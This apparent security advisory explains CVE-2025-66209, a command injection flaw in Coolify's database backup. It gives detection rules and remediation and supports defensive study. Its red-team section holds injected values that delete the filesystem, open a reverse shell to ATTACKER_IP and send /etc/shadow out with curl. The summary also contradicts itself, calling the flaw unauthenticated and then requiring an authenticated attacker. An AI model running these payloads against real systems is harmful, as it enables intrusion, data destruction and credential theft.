CVE-2025-66209

Executive Summary

CVE-2025-66209 is a critical, unauthenticated command injection vulnerability in Coolify, an open-source and self-hostable tool for managing servers, applications, and databases. The vulnerability resides in the Database Backup functionality, where database names are passed directly to shell commands without sanitization. An authenticated attacker with application/service management permissions can exploit this to execute arbitrary commands as root on managed servers, leading to full remote code execution (RCE). The CVSS score is 10.0, indicating maximum severity. No public proof-of-concept (PoC) or exploit code is available at this time. The vendor has released a fix in version 4.0.0-beta.451.

Supply Chain & Package Security

Coolify is a self-hosted application, not a package distributed via NPM, PyPI, Go, or Ruby. Therefore, supply chain package security considerations are not directly applicable. However, users should ensure they are using the official Coolify source and verify the integrity of their installation.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): Low (L) - An attacker needs valid credentials with application/service management permissions.
• User Interaction (UI): None (N) - No user interaction is required.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the original authorization scope.
• Confidentiality (C): High (H) - Complete disclosure of all data on the affected system.
• Integrity (I): High (H) - Complete compromise of system integrity.
• Availability (A): High (H) - Complete loss of system availability.

Threat Level: Critical. The combination of low attack complexity, low privileges required, and high impact makes this vulnerability extremely dangerous. An attacker with minimal access can achieve full root-level compromise.

Deep Dive & Mechanics

The vulnerability is located in the Database Backup functionality of Coolify. When a user initiates a backup of a database, the application constructs a shell command to perform the backup (e.g., using mysqldump or pg_dump). The database name, which is user-controlled, is concatenated directly into this command string without any sanitization or escaping.

For example, a vulnerable command might look like:

mysqldump -u root -p'password' --databases [DATABASE_NAME] > /backup.sql

If an attacker provides a database name like testdb; rm -rf /, the resulting command becomes:

mysqldump -u root -p'password' --databases testdb; rm -rf / > /backup.sql

This allows the attacker to execute arbitrary commands (rm -rf / in this example) with the privileges of the Coolify service, which runs as root on managed servers.

The fix in version 4.0.0-beta.451 sanitizes the database name by escaping or removing shell metacharacters before passing it to the command.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import subprocess

def backup_database(db_name):
    command = f"mysqldump -u root -p'password' --databases {db_name} > /backup.sql"
    subprocess.run(command, shell=True)

Patched Code (Conceptual):

import subprocess
import shlex

def backup_database(db_name):
    sanitized_db_name = shlex.quote(db_name)
    command = f"mysqldump -u root -p'password' --databases {sanitized_db_name} > /backup.sql"
    subprocess.run(command, shell=True)

The patched version uses shlex.quote() to properly escape the database name, preventing command injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Coolify instance (version < 4.0.0-beta.451).
• Valid credentials with application/service management permissions.

Exploitation Steps:

1. Identify the Backup Endpoint: Locate the API endpoint or UI form that triggers a database backup. This is typically found in the database management section.

2. Craft Malicious Database Name: Create a database name that includes a command injection payload. For example:

   testdb; id > /tmp/pwned.txt
   

3. Trigger Backup: Initiate the backup using the crafted database name. The command will be executed on the managed server.

4. Verify Execution: Check for the output of the injected command. In this example, the file /tmp/pwned.txt should contain the output of the id command.

Example Payloads:

• Reverse shell: testdb; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
• Data exfiltration: testdb; curl http://ATTACKER_IP/$(cat /etc/shadow)

Blue Team

Detection Steps:

1. Monitor Shell Commands: Look for unusual shell commands being executed by the Coolify service. Specifically, monitor for commands that include database names with shell metacharacters (e.g., ;, |, &, `).

2. Audit Logs: Review Coolify application logs for any backup operations with suspicious database names.

3. Network Monitoring: Monitor for outbound connections from managed servers to unknown IP addresses, which may indicate a reverse shell or data exfiltration.

4. File Integrity Monitoring: Check for unexpected files created in temporary directories (e.g., /tmp).

Indicators of Compromise (IOCs)

• Network:

  • Outbound connections to attacker-controlled IPs on unusual ports (e.g., 4444, 1337).
  • HTTP requests to external IPs containing data from the server (e.g., /etc/shadow).

• Host:

  • Unexpected files in /tmp or other writable directories.
  • Processes spawned by the Coolify service that are not typical backup commands (e.g., bash, nc, curl).
  • Modified system binaries or configuration files.

• Logs:

  • Coolify application logs showing database names with shell metacharacters.
  • System logs (e.g., /var/log/syslog) showing unusual command executions.

Detection Engineering

YARA Rule

rule CVE_2025_66209_Coolify_Command_Injection {
    meta:
        description = "Detects command injection attempts in Coolify database backup operations"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66209"
        severity = "critical"

    strings:
        $cmd_inject = /[;&|`$(){}]/
        $db_backup = /mysqldump|pg_dump|sqlite3/
        $db_name = /--databases\s+\S+/

    condition:
        $db_backup and $db_name and $cmd_inject
}

Sigma Rule

title: Coolify Database Backup Command Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts in Coolify database backup operations
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66209
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            - '/mysqldump'
            - '/pg_dump'
            - '/sqlite3'
        CommandLine|contains:
            - ';'
            - '|'
            - '&'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of shell metacharacters in database names (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66209 Coolify Database Backup Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/api/backup"; http_uri; content:"database_name"; nocase; pcre:"/([;&|`$(){}])/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Coolify: Update to version 4.0.0-beta.451 or later immediately.
2. Restrict Access: Limit access to the Coolify management interface to trusted users only.
3. Review Permissions: Ensure that only necessary users have application/service management permissions.

Long-Term Mitigations:

1. Input Validation: Implement strict input validation and sanitization for all user-supplied data, especially when used in shell commands.
2. Least Privilege: Run Coolify services with the minimum necessary privileges. Avoid running as root.
3. Network Segmentation: Isolate Coolify managed servers from critical systems and the internet where possible.
4. Monitoring: Implement robust logging and monitoring for all backup operations and shell command executions.

Workaround (if upgrade is not possible):

• Manually sanitize database names before backup operations by removing or escaping shell metacharacters. This can be done by modifying the Coolify source code or using a web application firewall (WAF) to filter malicious input.

Valters IT